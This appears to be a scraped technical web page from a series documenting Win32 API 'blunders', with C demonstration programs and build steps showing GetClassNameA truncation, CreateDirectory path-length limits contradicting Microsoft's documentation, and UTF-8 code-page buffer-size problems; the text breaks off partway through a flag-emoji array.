        Retrieves the name of the class to which the specified window belongs.The documentation for the Win32 function[…]int GetClassName( [in] HWND hWnd, [out] LPTSTR lpClassName, [in] int nMaxCount );
[in] nMaxCountThe length of the lpClassName buffer, in characters. The buffer must be large enough to include the terminating null character; otherwise, the class name string is truncated to
nMaxCount-1characters.[…]
If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.
If the function fails, the return value is zero. To get extended error information, call GetLastError function.
RealGetWindowClass()
            specifies:
        Retrieves a string that specifies the window type.[…]UINT RealGetWindowClass( [in] HWND hWnd, [out] LPTSTR ptszClassName, [in] UINT cchClassNameMax );If the function succeeds, the return value is the number of characters copied to the specified buffer.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
extern	const	IMAGE_DOS_HEADER	__ImageBase;
const	WNDCLASSEX	wce = {sizeof(wce),
			       CS_DBLCLKS,
			       DefWindowProc,
			       0, 0,
			       (HINSTANCE) &__ImageBase,
			       (HICON) NULL,
			       (HCURSOR) NULL,
			       (HBRUSH) COLOR_BACKGROUND,
			       (LPCWSTR) NULL,
			       CP1252,
			       (HICON) NULL};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HWND	hWindow;
	UINT	uiClass;
	CHAR	szClass[256 * 4 + 1];
	CHAR	szMulti[264];
	UINT	uiMulti = WideCharToMultiByte(CP_ACP,
		                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
		                              CP1252, sizeof(CP1252) / sizeof(*CP1252),
		                              szMulti, sizeof(szMulti),
		                              (LPCCH) NULL, (LPBOOL) NULL);
	if (uiMulti == 0U)
		dwError = GetLastError();
	else
		if (RegisterClassEx(&wce) == (ATOM) 0)
			dwError = GetLastError();
		else
		{
			hWindow = CreateWindowEx(WS_EX_APPWINDOW,
			                         wce.lpszClassName,
			                         L"Blunder Demonstration Window",
			                         WS_OVERLAPPEDWINDOW | WS_VISIBLE,
			                         CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
			                         (HWND) NULL,
			                         (HMENU) NULL,
			                         wce.hInstance,
			                         NULL);
			if (hWindow == NULL)
				dwError = GetLastError();
			else
			{
#ifndef BLUNDER
				uiClass = GetClassNameA(hWindow, szClass, sizeof(szClass));
#else
				uiClass = RealGetWindowClassA(hWindow, szClass, sizeof(szClass));
#endif
				if (uiClass == 0U)
					dwError = GetLastError();
				else if ((uiClass != uiMulti - 1U)
				      || (memcmp(szClass, szMulti, uiMulti) != 0))
					dwError = -uiClass;
				if (!DestroyWindow(hWindow))
					dwError = GetLastError();
			}
			if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
				dwError = GetLastError();
		}
	ExitProcess(dwError);
}€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
            of 123 single-byte
            ANSI
            characters as well as 123
            Unicode
            code points defined with the preprocessor macro CP1252
            has 263 code units alias bytes in
            UTF-8
            encoding!
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 5. for
            code page
            65001 alias CP_UTF8 on Windows 10 1903 or
            any later version and evaluate its exit code:
        
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105]
-246
            OUCH: the Win32 function
            GetClassNameA()
            fails to return a class name of 123
            non-ASCII
            characters alias code points – despite an output buffer
            sufficient for 256
            UTF-8
            characters alias code points respectively 1024 bytes alias code
            units it returns only 246 = 123 × 2 bytes
            alias code units instead of 263 bytes alias code units!
        NUL), defined with the
            preprocessor macro MAX_PATH.
         For example, the documentation for the Win32 function
            CreateDirectory()
            states:
        
Creates a new directory. […]The documentation for the Win32 function[…]BOOL CreateDirectory( [in] LPCTSTR lpPathName, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes );
[in] lpPathNameThe path of the directory to be created.
By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting with Windows 10, version 1607, you can opt-in to remove the MAX_PATH limitation without prepending "\\?\". See the "Maximum Path Length Limitation" section of Naming Files, Paths, and Namespaces for details.
[in, optional] lpSecurityAttributes
RemoveDirectory()
            specifies:
        Deletes an existing empty directory.The documentation for the Win32 function[…]
[…]BOOL RemoveDirectory( [in] LPCTSTR lpPathName );
[in] lpPathNameThe path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting in Windows 10, version 1607, you can opt-in to remove the MAX_PATH limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
MoveFile()
            specifies:
        Moves an existing file or a directory, including its children.OUCH⁰: the -A forms of the Win32 functions support neither wide characters nor the[&hellip];
[…]BOOL MoveFile( [in] LPCTSTR lpExistingFileName [in] LPCTSTR lpNewFileName );
[in] lpExistingFileNameThe current name of the file or directory on the local computer.
By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting in Windows 10, version 1607, you can opt-in to remove the MAX_PATH limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
\\?\ prefix!
         The MSDN
            article
            Naming Files, Paths, and Namespaces
            states in section Maximum Path Length Limitation
:
        
When using an API to create a directory, the specified path cannot be so long that you cannot append an 8.3 file name (that is, the directory name cannot exceed MAX_PATH minus 12).OUCH¹: since the file name must be separated from the directory name by a '\' or '/' and terminated by a
NUL, the absolute directory path name
            can not exceed
            MAX_PATH − sizeof("\\filename.ext") = MAX_PATH − 14
            characters – it’s a shame that Microsoft
            gets even such elementary arithmetic wrong!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef UNICODE
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	CHAR	szBlunder[MAX_PATH + 2];
	DWORD	dwBlunder = GetCurrentDirectory(MAX_PATH, szBlunder);
	DWORD	dwError;
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
	{
		if (dwBlunder > 3UL)
			szBlunder[dwBlunder++] = '\\';
		do
		{
			szBlunder[dwBlunder++] = '€';
			szBlunder[dwBlunder] = '\0';
			if (!CreateDirectory(szBlunder, (LPSECURITY_ATTRIBUTES) NULL)
			 || !RemoveDirectory(szBlunder))
				break;
		}
		while (dwBlunder < MAX_PATH);
		dwError = GetLastError();
#ifdef BLUNDER
		if (dwError == ERROR_FILENAME_EXCED_RANGE)
			dwError = 1UL - dwBlunder;
#else // BLUNDER
		if (dwError == ERROR_FILENAME_EXCED_RANGE)
		{
			do
			{
				if (!CreateDirectory("€", (LPSECURITY_ATTRIBUTES) NULL)
				 || !MoveFile("€", szBlunder)
				 || !RemoveDirectory(szBlunder))
					break;
				szBlunder[dwBlunder++] = '€';
				szBlunder[dwBlunder] = '\0';
			}
			while (dwBlunder <= MAX_PATH);
			dwError = GetLastError();
			if ((dwError == ERROR_INVALID_NAME)
			 || (dwError == ERROR_PATH_NOT_FOUND))
				dwError = 1UL - dwBlunder;
			RemoveDirectory("€");
		}
#endif // BLUNDER
	}
	ExitProcess(dwError);
}
#else // UNICODE
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH + 2];
	DWORD	dwBlunder = GetCurrentDirectory(MAX_PATH, szBlunder);
	DWORD	dwError;
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
	{
		if (dwBlunder > 3UL)
			szBlunder[dwBlunder++] = L'\\';
		do
		{
			szBlunder[dwBlunder++] = L'€';
			szBlunder[dwBlunder] = L'\0';
			if (!CreateDirectory(szBlunder, (LPSECURITY_ATTRIBUTES) NULL)
			 || !RemoveDirectory(szBlunder))
				break;
		}
		while (dwBlunder < MAX_PATH);
		dwError = GetLastError();
#ifndef BLUNDER
		if (dwError == ERROR_FILENAME_EXCED_RANGE)
			dwError = 1UL - dwBlunder;
#else // BLUNDER
		if (dwError == ERROR_FILENAME_EXCED_RANGE)
		{
			do
			{
				if (!CreateDirectory(L"€", (LPSECURITY_ATTRIBUTES) NULL)
				 || !MoveFile(L"€", szBlunder)
				 || !RemoveDirectory(szBlunder))
					break;
				szBlunder[dwBlunder++] = L'€';
				szBlunder[dwBlunder] = L'\0';
			}
			while (dwBlunder <= MAX_PATH);
			dwError = GetLastError();
			if ((dwError == ERROR_INVALID_NAME)
			 || (dwError == ERROR_PATH_NOT_FOUND))
				dwError = 1UL - dwBlunder;
			RemoveDirectory(L"€");
		}
#endif // BLUNDER
	}
	ExitProcess(dwError);
}
#endif // UNICODE Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
CHDIR .\blunder.exe ECHO %ERRORLEVEL%
C:\Users\Stefan\Desktop -247OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function
CreateDirectory()
            limits the absolute directory path name to 247
            ANSI
            characters – one too much for a file with an 8.3 name in that
            directory – and the relative directory name
            to 246 characters minus those of the current directory path name!
         NOTE: both limits apply to the Win32
            function
            GetTempFileName()
            too – except when its A
 form is used with
            UTF-8,
            as shown in
            Blunder № 62
            below!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-259Note: the Win32 functions
MoveFile()
            and
            RemoveDirectory()
            support path names of (up to) 259
            ANSI
            characters – one less than
            MAX_PATH!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            UNICODE defined:
        
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DUNICODE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-247OUCH³: contrary to the highlighted statement of its documentation cited above, the Win32 function
CreateDirectory()
            limits the absolute directory path name to 247
            Unicode
            characters – one too much for a file with an 8.3 name in that
            directory – and the relative directory name
            to 246 characters minus those of the current directory path name!
         NOTE: both limits apply to the Win32
            function
            GetTempFileName()
            too – except when its A
 form is used with
            UTF-8,
            as shown in
            Blunder № 62
            below!
        
 Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macros
            BLUNDER and UNICODE defined:
        
CL.EXE /DBLUNDER /DUNICODE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-259Note: the Win32 functions
MoveFile()
            and
            RemoveDirectory()
            support path names of (up to) 259
            Unicode
            characters – one less than
            MAX_PATH!
        CreateDirectoryEx()
            and
            MoveFileEx()
            or
            CreateDirectoryTransacted(),
            MoveFileTransacted()
            and
            RemoveDirectoryTransacted()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
 Windows 10 1903 and later versions finally support
            UTF-8
            with the A
 forms of the Win32 functions:
        
As of Windows Version 1903 (May 2019 Update), you can use the ActiveCodePage property in the appxmanifest for packaged apps, or the fusion manifest for unpackaged apps, to force a process to use UTF-8 as the process code page.CAVEAT: the MSDN article Use UTF-8 code pages in Windows apps but fails to specify that the[…]
Win32 APIs often support both -A and -W variants.
-A variants recognize the ANSI code page configured on the system and support
char*, while -W variants operate in UTF-16 and supportWCHAR.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACPequates toCP_UTF8only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8explicitly.
ActiveCodePage property
            sets the
            OEM
            code page
            to 65001 alias CP_UTF8 too!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	CHAR	szEURO[4];
	CHAR	szBlunder[MAX_PATH * 3];
	DWORD	dwBlunder = GetCurrentDirectory(MAX_PATH, szBlunder);
	DWORD	dwError;
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
		if (WideCharToMultiByte(CP_ACP,
		                        WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
		                        L"€", sizeof(L"€") / sizeof(L'€'),
		                        szEURO, sizeof(szEURO),
		                        (LPCCH) NULL, (LPBOOL) NULL) == 0)
			dwError = GetLastError();
		else
		{
			if (dwBlunder > 3UL)
				strcat(szBlunder, "\\");
			do
				strcat(szBlunder, szEURO);
			while (CreateDirectory(szBlunder, (LPSECURITY_ATTRIBUTES) NULL)
		            && RemoveDirectory(szBlunder));
			dwError = GetLastError();
#ifndef BLUNDER
			if (dwError == ERROR_FILENAME_EXCED_RANGE)
				dwError = strlen(szEURO) - strlen(szBlunder);
#else // BLUNDER
			if (dwError == ERROR_FILENAME_EXCED_RANGE)
			{
				while (CreateDirectory(szEURO, (LPSECURITY_ATTRIBUTES) NULL)
				    && MoveFile(szEURO, szBlunder)
				    && RemoveDirectory(szBlunder))
					strcat(szBlunder, szEURO);
				dwError = GetLastError();
				if ((dwError == ERROR_INVALID_NAME)
				 || (dwError == ERROR_PATH_NOT_FOUND))
					dwError = strlen(szEURO) - strlen(szBlunder);
				RemoveDirectory(szEURO);
			}
#endif // BLUNDER
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code to verify the previous
            legacy result:
        
CHDIR .\blunder.exe ECHO %ERRORLEVEL%
C:\Users\Stefan\Desktop -247
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 5. for
            code page
            65001 alias CP_UTF8 and evaluate its exit code:
        
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] -693OUCH¹: contrary to the highlighted statement of the documentation cited above, existing code can but fail and suffer from buffer overruns when the ANSI code page is configured for UTF-8 – (absolute) path names occupy up to
MAX_PATH * 3 bytes then!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 7. and evaluate its exit code to verify the previous
            legacy result:
        
.\blunder.exe ECHO %ERRORLEVEL%
-259
 Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 7.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exe
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 9. for
            code page
            65001 alias CP_UTF8 and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-729OUCH²: contrary to the highlighted statement of the documentation cited above, existing code can but fail and suffer from buffer overruns when the ANSI code page is configured for UTF-8 – (absolute) path names occupy up to
MAX_PATH * 3 bytes then!
        NUL,
            the maximum size of an absolute path name in
            UTF-8
            encoding is sizeof("?:\\") + 255 * 4 = 1024
            bytes – path names converted from legacy
            ANSI
            or OEM
            code pages
            but fit into sizeof("?:\\") + 255 * 3 = 769
            bytes!
         Note: an exploration of this blunder with the
            Win32 functions
            CreateDirectoryEx()
            and
            MoveFileEx()
            or
            CreateDirectoryTransacted(),
            MoveFileTransacted()
            and
            RemoveDirectoryTransacted()
            is left as an exercise to the reader.
        
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2019-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define UTF32FLAG(A, Z)	0x1F1A5UL + L#@A, 0x1F1A5UL + L#@Z,
#define UTF16FLAG(A, Z)	L'\xD83C', L'\xDDA5' + L#@A, L'\xD83C', L'\xDDA5' + L#@Z,
#define UTF8FLAG(A, Z)	'\xF0', '\x9F', '\x87', '\x65' + #@A, '\xF0', '\x9F', '\x87', '\x65' + #@Z,
const	CHAR	szBlunder[] = {'C', ':', '\\',
#ifndef BLUNDER
		            // UTF8FLAG(A,C) // Ascension Island
		               UTF8FLAG(A,D) // Andorra
		               UTF8FLAG(A,E) // United Arab Emirates
		               UTF8FLAG(A,F) // Afghanistan
		               UTF8FLAG(A,G) // Antigua and Barbuda
		               UTF8FLAG(A,I) // Anguilla
		               UTF8FLAG(A,L) // Albania
		               UTF8FLAG(A,M) // Armenia
		            // UTF8FLAG(A,N) // Netherlands Antilles
		               UTF8FLAG(A,O) // Angola
		               UTF8FLAG(A,Q) // Antarctica
		               UTF8FLAG(A,R) // Argentina
		               UTF8FLAG(A,S) // American Samoa
		               UTF8FLAG(A,T) // Austria
		               UTF8FLAG(A,U) // Australia
		               UTF8FLAG(A,W) // Aruba
		               UTF8FLAG(A,X) // Åland Islands
		               UTF8FLAG(A,Z) // Azerbaijan
		               UTF8FLAG(B,A) // Bosnia and Herzegovina
		               UTF8FLAG(B,B) // Barbados
		               UTF8FLAG(B,D) // Bangladesh
		               UTF8FLAG(B,E) // Belgium
		               UTF8FLAG(B,F) // Burkina Faso
		               UTF8FLAG(B,G) // Bulgaria
		               UTF8FLAG(B,H) // Bahrain
		               UTF8FLAG(B,I) // Burundi
		               UTF8FLAG(B,J) // Benin
		               UTF8FLAG(B,L) // Saint Barthélemy
		               UTF8FLAG(B,M) // Bermuda
		               UTF8FLAG(B,N) // Brunei Darussalam
		               UTF8FLAG(B,O) // Bolivia
		               UTF8FLAG(B,Q) // Bonaire, Sint Eustatius and Saba [Carribean Netherlands]
		               UTF8FLAG(B,R) // Brazil
		               UTF8FLAG(B,S) // Bahamas
		               UTF8FLAG(B,T) // Bhutan
		            // UTF8FLAG(B,U) // Burma
		               UTF8FLAG(B,V) // Bouvet Island
		               UTF8FLAG(B,W) // Botswana
		               UTF8FLAG(B,Y) // Belarus
		               UTF8FLAG(B,Z) // Belize
		               UTF8FLAG(C,A) // Canada
		               UTF8FLAG(C,C) // Cocos (Keeling) Islands
		               UTF8FLAG(C,D) // Democratic Republic of the Congo (Kinshasa)
		               UTF8FLAG(C,F) // Central African Republic
		               UTF8FLAG(C,G) // Congo (Brazzaville)
		               UTF8FLAG(C,H) // Switzerland
		               UTF8FLAG(C,I) // Côte d'Ivoire [Ivory Coast]
		               UTF8FLAG(C,K) // Cook Islands
		               UTF8FLAG(C,L) // Chile
		               UTF8FLAG(C,M) // Cameroon
		               UTF8FLAG(C,N) // People's Republic of China
		               UTF8FLAG(C,O) // Colombia
		            // UTF8FLAG(C,P) // Clipperton Island
		            // UTF8FLAG(C,Q) // Sark
		               UTF8FLAG(C,R) // Costa Rica
		            // UTF8FLAG(C,S) // Czechoslowakia
		               UTF8FLAG(C,U) // Cuba
		               UTF8FLAG(C,V) // Republic of Cabo Verde
		               UTF8FLAG(C,W) // Curaçao
		               UTF8FLAG(C,X) // Christmas Island
		               UTF8FLAG(C,Y) // Cyprus
		               UTF8FLAG(C,Z) // Czechia
		            // UTF8FLAG(D,D) // German Democratic Republic
		               UTF8FLAG(D,E) // Germany
		            // UTF8FLAG(D,G) // Diego Garcia
		               UTF8FLAG(D,J) // Djibouti
		               UTF8FLAG(D,K) // Denmark
		               UTF8FLAG(D,M) // Dominica
		               UTF8FLAG(D,O) // Dominican Republic
		               UTF8FLAG(D,Z) // Algeria
		            // UTF8FLAG(E,A) // Ceuta and Melilla
		               UTF8FLAG(E,C) // Ecuador
		               UTF8FLAG(E,E) // Estonia
		               UTF8FLAG(E,G) // Egypt
		               UTF8FLAG(E,H) // Western Sahara
		               UTF8FLAG(E,R) // Eritrea
		               UTF8FLAG(E,S) // Spain
		               UTF8FLAG(E,T) // Ethiopia
		               UTF8FLAG(E,U) // European Union
		               UTF8FLAG(F,I) // Finland
		               UTF8FLAG(F,J) // Fiji
		               UTF8FLAG(F,K) // Falkland Islands [Islas Malvinas]
		               UTF8FLAG(F,M) // Federated States of Micronesia
		               UTF8FLAG(F,O) // Faroe Islands
		               UTF8FLAG(F,R) // France
		            // UTF8FLAG(F,X) // Metropolitan France
		               UTF8FLAG(G,A) // Gabon
		               UTF8FLAG(G,B) // United Kingdom of Great Britain and Northern Ireland
		               UTF8FLAG(G,D) // Grenada
		               UTF8FLAG(G,E) // Georgia
		               UTF8FLAG(G,F) // French Guiana
		               UTF8FLAG(G,G) // Guernsey
		               UTF8FLAG(G,H) // Ghana
		               UTF8FLAG(G,I) // Gibraltar
		               UTF8FLAG(G,L) // Greenland
		               UTF8FLAG(G,M) // Gambia
		               UTF8FLAG(G,N) // Guinea
		               UTF8FLAG(G,P) // Guadeloupe
		               UTF8FLAG(G,Q) // Equatorial Guinea
		               UTF8FLAG(G,R) // Greece
		               UTF8FLAG(G,S) // South Georgia and South Sandwich Islands
		               UTF8FLAG(G,T) // Guatemala
		               UTF8FLAG(G,U) // Guam
		               UTF8FLAG(G,W) // Guinea-Bissau
		               UTF8FLAG(G,Y) // Guyana
		               UTF8FLAG(H,K) // Hong Kong (SAR China)
		               UTF8FLAG(H,M) // Heard Island and McDonald Islands
		               UTF8FLAG(H,N) // Honduras
		               UTF8FLAG(H,R) // Croatia
		               UTF8FLAG(H,T) // Haiti
		               UTF8FLAG(H,U) // Hungary
		            // UTF8FLAG(I,C) // Canary Islands
		               UTF8FLAG(I,D) // Indonesia
		               UTF8FLAG(I,E) // Ireland
		               UTF8FLAG(I,L) // Israel
		               UTF8FLAG(I,M) // Isle of Man
		               UTF8FLAG(I,N) // India
		               UTF8FLAG(I,O) // British Indian Ocean Territory
		               UTF8FLAG(I,Q) // Iraq
		               UTF8FLAG(I,R) // Islamic Republic of Iran
		               UTF8FLAG(I,S) // Iceland
		               UTF8FLAG(I,T) // Italy
		               UTF8FLAG(J,E) // Jersey
		               UTF8FLAG(J,M) // Jamaica
		               UTF8FLAG(J,O) // Jordan
		               UTF8FLAG(J,P) // Japan
		               UTF8FLAG(K,E) // Kenya
